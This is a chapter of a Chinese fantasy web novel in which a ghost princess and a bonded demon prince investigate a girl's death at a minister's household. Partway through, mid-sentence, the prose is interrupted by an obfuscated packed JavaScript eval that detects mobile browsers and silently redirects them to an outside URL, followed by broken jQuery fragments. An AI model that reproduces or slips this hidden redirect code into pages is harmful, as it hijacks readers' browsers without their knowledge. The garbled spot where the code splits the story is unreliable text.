5. 爱恨2
    闻玥笑道:“我猜的……好吧,不骗你,你主人确实在我身边,不过看起来状况不大好。”

    少年哼了哼,道:“我主人现在很虚弱,你对他好一点。”

    闻玥颔首,朝墨玄一笑:“你的器灵说,你现在很虚弱,需要我的关怀。”

    杀生:“……”

    墨玄:“……”

    墨玄眼睫猛然一震。他扯了扯嘴角,很是无语地开口:“杀生很吵。”

    闻玥万分认同:“对啊,吵死了。不过话说回来,杀生是你的器灵,为何你与杀生的联系断了,为何我却能感知到你的器灵?”

    杀生仍在识海中嘀嘀咕咕:“我主人居然会说我吵,他以前从来不会说我的……我跟你讲,你要是说我坏话,我要你吃不了兜着走!”

    闻玥没理会他满是怨气的抱怨。

    墨玄原本始终面无表情,闻言,顿时古怪道:“你察觉不到吗?公主殿下?”

    公主殿下……

    说来也是好笑,她虽说是公主,可深宫中,极少有人会唤她为公主。

    久违的称呼让闻玥一时怔住:“察觉到什么?”

    墨玄道:“我的三魂七魄,与你的三魂七魄已经接连,相生共死。”

    闻玥皱眉:“这也可以?”

    墨玄轻轻笑出了声:“公主殿下,为何不可以?”

    很冷静,很理所当然,也很自信。

    对自己魔力的自信。

    闻玥蹲在雪地上,手指戳了戳地面,雪带来冰凉的触感。

    看上去,她似乎与人无异了。

    正值午时,普渡寺寺门迎着日光,落在地上,缩成小小的一团黑影。

    而闻玥身下全是积水,日光透过她,照耀到那只死蝙蝠身上。

    而她没有影子。

    鬼就是鬼,即便是能活在日光下,也依旧与人不同。

    闻玥先叹息一声,索性啥也不管,直接面对着墨玄坐倒在地,翻开青邪丢给自己的那本阎王谱。

    阎王谱远看像一团青火,近看却是一本书,拿在手里几乎没有重量。黑色的行书字体中,一个红色的名字格外闪烁。

    刑部尚书之女,王梓卉。

    王梓卉……好熟的名字。

    闻玥皱眉想了想,有印象,但不多。绝对不是青邪所说的,看到闻玥就投降的交情。

    闻玥一叹,果然上司的话信不得。

    恶鬼索命……

    “喂!”杀生又叫了起来:“你在想些啥呢?”

    闻玥合上阎王谱,阎王谱似乎有所感应,整本书霍然燃烧起来,掉落到右手掌心,化为一道青色莲花,映到掌心正中央。

    闻玥随口答道:“想怎么缉拿恶鬼。”

    杀生道:“那简单,冲上去,打下来便可。”

    闻玥问:“你问世多久了?”

    杀生摸不到头脑,不理解话中的意思,但还是回答:“四千五百年了。”

    闻玥叹道:“活了这么久,竟不明白道理都搞不明白。”

    杀生直觉不是什么好话,但还是憋不住问:“……什么?”

    闻玥叹息:“何不食肉糜。”

    “……”杀生活得虽久,但着实没读过什么书,大字都不识一个。

    他不懂话中之意,但完全理解话中的恶意:“你什么意思啊?我同主人横扫四界多年,我为何要懂?再难搞的恶鬼于我而言,也就是一刀的事。你怎能畏畏缩缩,丢人现眼!”

    闻玥淡然处之,含讽带刺道:“不错,也许你与你主人的确纵横天下。但……怎么如今连肉身都保不住,不幸地附在我这个畏畏缩缩的人身上。”

    “……”

    不识字,没读书的杀生反驳不了。

    因为他比任何人都不理解,为何主人会落到如此田地。

    烦人的杀生总算闭了嘴,闻玥耳根得了清净。她站起来,对墨玄道:“走吧。”

    得去一趟盛京城。

    她离开地匆忙,同某些人还没来得及告别。

    墨玄小小的身子缩成一团,闻言,不解地看向她。

    闻玥怕这位祖宗不肯跟着走,只得解释:“去办事情,办完了就可以回魔界了。到时候,我们再想法子恢复你。”

    墨玄“哦”了声,一言不发。

    闻玥等了会,结果发现这人不动如山。

    闻玥忍了又忍,还是忍不住。她道:“您老还走吗?”

    她赶时间!!!

    墨玄冷淡地扫了她一眼,浅灰色的眸子此时却一片暗色,没人能透过这双眸子察觉到他的内心。片刻后,他道:“你赶到盛京,又能如何?”

    这一次,闻玥察觉终于嗅到了什么:“你……是不是不想去?”

    墨玄道:“并无此意。”

    闻玥又道:“既如此,我们是早去还是晚去,又有何区别?夜长易梦多,恶鬼初次作恶在两个月以前,两个月,足以让恶鬼彻底丧失神智。恶鬼失智,必将生灵涂炭。我们一日都不该耽搁。”

    墨玄:“……”

    脚底的痛感愈发刺骨,无数根银针刺破肌肤,传来密密麻麻,源源不断的疼痛。

    若杀生还在,此时估计早就疼疯了,必着大叫着叫他砍腿。

    渍。

    墨玄没什么表情地站起身,淡淡道:“那你引路。”

    闻玥求之不得。

    ————

    客栈内,生意兴隆,两三位看客聚在一起讨论。

    闻玥虽不喜听书,但儿时被新帝也拽着听过不少。

    如今也算半个老书虫,她实在是对才子佳人,公子花魁感天动地的爱情故事不感兴趣。

    便凑上去找墨玄讲话:“你觉着这只恶鬼应当如何。”

    墨玄嘴唇微微发白,但他肤色白皙,自也不甚明显。闻言,冷冷道:“若有罪,杀之。若有过,惩之。若有冤,赎之。”

    闻玥奇了:“你竟会有此番想法。”

    不应该啊。

    她本以为,他是一位空有天才之名,桀骜不驯,本性乖张的殿下。

    那也是世人对他的看法。

    相处过后,闻玥对他微微改观。

    事实上,他待人很冷淡,不,不是冷淡,而是不在意。对自己这位异体共生的凡人不在意,对与他同生共死的器灵也不在意,甚至,对自己也不在意。

    闻玥看人极准,她能感觉到,墨玄相当矛盾,比她所见过的所有人都要矛盾。他分明不甚在意自己的性命,却偏偏又不择手段地活着。

    走投无路之际,明知闻玥是一个手无寸铁的凡人,共生术是弊远大于利。

    却为了重获肉身,也要孤注一掷地赌宝。即使代价是粉身碎骨,他也义无反顾。

    现在,闻玥是真心很好奇了,就这张冰块脸,谁也不爱的个性。这位嚣张跋扈的名声是怎么传出来的?

    说书先生刚好讲完最后一折,留下一句“欲知后事如何,且听下回分解”后便匆匆离去。

    周围的看官们却仍回味无穷,互相讨论。

    有人发言:“我听闻王尚书被贬职了,这是为何?”

    一位年岁稍长,看上去颇有见地的书生闻言,勾唇一笑:“还能为何?他当年可是先太子党的元老,对新帝哪哪都看不惯,多次弹劾。如今陛下登基,自然容不下他。”

    书生又道:“不过,王大人现在也顾不上贬不贬职了。据说,尚书府这几日死了不少人了。好像是什么恶鬼作祟,现在府内人人自危,都教唆着跑路。”

    那人戴着一顶寻常人家的毡帽,五官毫无特点,相貌亦是平平无奇,不俊不丑,可闻玥还是一眼认出了他。

    闻玥倒不算过目不忘,但无论是谁,哪怕是刚出生的婴儿,她只要见过一眼,便此生难忘。

    她是见过这人的,不在皇宫,而在……

    有人道:“那该找国师啊,大人向来慈悲,断不会不管不顾。”

    书生瞧着很懂,摸了摸不存在的胡须:“巧了,无论王大人求见多少次,国师大人都只回了两个字。”

    “哪两个字?”

    “不见。”

    周围的人们轰一下炸开了锅。

    “国师大人这也忒不近人情了吧。”

    “可不是。”

    有人压低声线,道:“你们说会不会是陛下下令……”

    “怎会!国师大人高风亮节,为人正直。要我说,王大人口中的恶鬼作祟说不定根本就是子虚乌有,先太子倒了,王大人没了盼头……也怪不得王大人要自请外派呢。”

    国师声名远扬,民间威望甚高。虽身处高位,却与人为善。无论是贩夫走卒,或是风尘中人。但凡有事相求,只要托信送往国师府,国师都绝不会置之不理,必会处理妥善。

    因此,凡间的舆论,多半是针对那位向来剥削民脂民膏的户部尚书。

    闻玥直觉事情并不简单,眼瞧着那位引发争议的书生趁着客栈的混乱偷溜而出。闻玥连忙紧随其后,临走前还连拖带拽地拉走正发着呆的墨玄。

    书生压了压头顶的毡帽,捂嘴轻咳,飞快走进暗巷之中,待书生的身影彻底隐入暗处,赶忙叫道:“公子!”

    似有什么极为重要的事情。

    书生愕然回头,满目诧异。

    “公子暂且留步。”闻玥“气喘吁吁”地跑到书生

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13611963|143432||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    面前,把墨玄往身旁一推,语速急切:“请问尚书府是出什么事了吗?”

    说完,没等书生表示出任何不耐烦,闻玥立马再次开口,语气已经染上几分哭腔:“抱歉,我并非故意冒昧,我……我来自江州,原本还算是世家小姐,奈何家道中落,父母要将我送给一位六十岁的豪商做填房……”

    跟在身后的墨玄波澜不惊的表情渐渐裂了,嘴角一抽,无言以对。

    好逼真的演技。

    闻玥哭得上气不接下气,仿佛真遇到了什么要命的大事:“王六小姐尚在江州,未入京前与我乃闺中好友。两个月前得知我的处境,便让我前来投奔她。可……可我才入京,便听闻……”

    她说不下去了,豆大的泪珠止不住地落下,一双多情的狐狸眼早已哭得通红。简直是见之生怜,闻之生悲。

    墨玄:“……”

    他无神的浅灰色眸子落在闻玥通红的脸上,含着探究之色,渐渐有了神采。

    书生在听见“王六小姐”四字后,脸色瞬间惨白,眼底藏不住的恨意几乎要夺眶而出。

    面前的女子容貌虽艳,却毫无生气。灯笼虚弱的灯光照在她的半边脸上,亦是难以掩盖的苍白。

    看上去就像……明明身子不好,却仍然长途跋涉来到盛京城。

    书生忽地一叹,算是信了她的话。

    “姑娘。”闻玥听见那人,话中饱含痛意:“你来迟了,小姐她,已经遇害一月有余了。”

    “遇害!”闻玥大惊失色:“怎会如此!她两个月前分明……公子是不是搞错了。”

    书生眼眶霍然红了:“若是我搞错的话,该有多好!”

    “那可是恶鬼索命?”闻玥不着痕迹地,哭着问道:“若是恶鬼……早年间,我认识一位道士,他法力高强,对各路妖魔鬼怪手到擒来,必然可以为……为她报仇雪恨!”

    “不是。”书生痛苦地闭上眼,整个人失去了所有力气,控制不住地瘫倒在地。

    半响后,他语气突然激动起来,像是终于找到了知己,恨不得将心头之恨全部一吐为快:“你可曾听闻过落花洞女的故事。”

    “落花洞女?略有耳闻。”

    在盛京的东南方,流传着一则美丽的爱情故事。

    传闻,有一位世家小姐娇媚无双,婀娜多姿。自幼备受宠爱,琴棋书画精通,求亲之人足以踏破府内的门槛。

    偏偏那位小姐谁也瞧不上,不愿出嫁。亲事便一直没有眉目,一直拖到二十三岁。

    那一年,小姐随母亲去了月老庙,庙中,小姐忽地失了神,背着母亲向附近的一个山洞中走去。

    归来后,小姐变得失魂落魄,唯有眸子闪着某种兴奋的光。美目含情,粉面透红。

    那一年的小姐,同样推掉了所有的亲事。日日夜夜望着月老庙发呆,犹如一块望夫石,一动不动。

    又过一年,小姐不顾父母的劝阻,孤身一人前往那个山洞,在洞内三天三夜不吃不喝,然后又跑回家,同样三天三夜不吃不喝。

    只顾着把自己的闺房收拾成新房,为自己化上最美的妆容,呆坐在婚床上,似在等待着自己心心念念的情郎。直到身死。

    据说,小姐在月老庙早已同山神私定了终身,立下誓言,此生只嫁于山神为妻。

    她的家人怜她情深,便用花轿将她的尸骨扛到山洞之中,葬礼变婚礼。

    再过几年,小姐的娘家得到了山神的庇护,仕途无阻,连升三级。

    说书先生讲到此处时,堪称泪如雨下,哭得泣不成声。

    而作为说书人的忠实看官闻玥,听得那叫一个面无表情,满脸一言难尽。

    当时的新帝刚满十岁,人生中首次偷溜出宫,只觉坊间哪哪都稀奇,看啥都看不腻。

    新帝被说书人的情绪感染,泪水直在眼眶内打转,欲哭不哭。

    “阿姊。”新帝语气带着哭腔:“好感人!”

    闻玥用力点头,给足情绪价值:“的确感人,我都憋不住要哭了。”

    新帝“哇”一声哭了出来。

    “……”

    闻玥回过神,看向书生满是怨恨的脸,恐怕那位王六小姐与“落花洞女”怕是有相同的境遇。心下一叹,只道是流水有情,落花无意。

    书生读懂了闻玥的眼神,苦笑道:“若小姐能幸福,尽管代价是死去,那我也认了。”

    “可问题的真相是,小姐她,从未见过所谓的山神。她是被她的父母,关在洞中,家里给活活饿死的。”

    “她是那位道貌岸然的父亲大人,送给山神的祭品。王尚书希望借山神之力,庇护户部尚书府能逃过此次的“恶鬼索命”之劫。”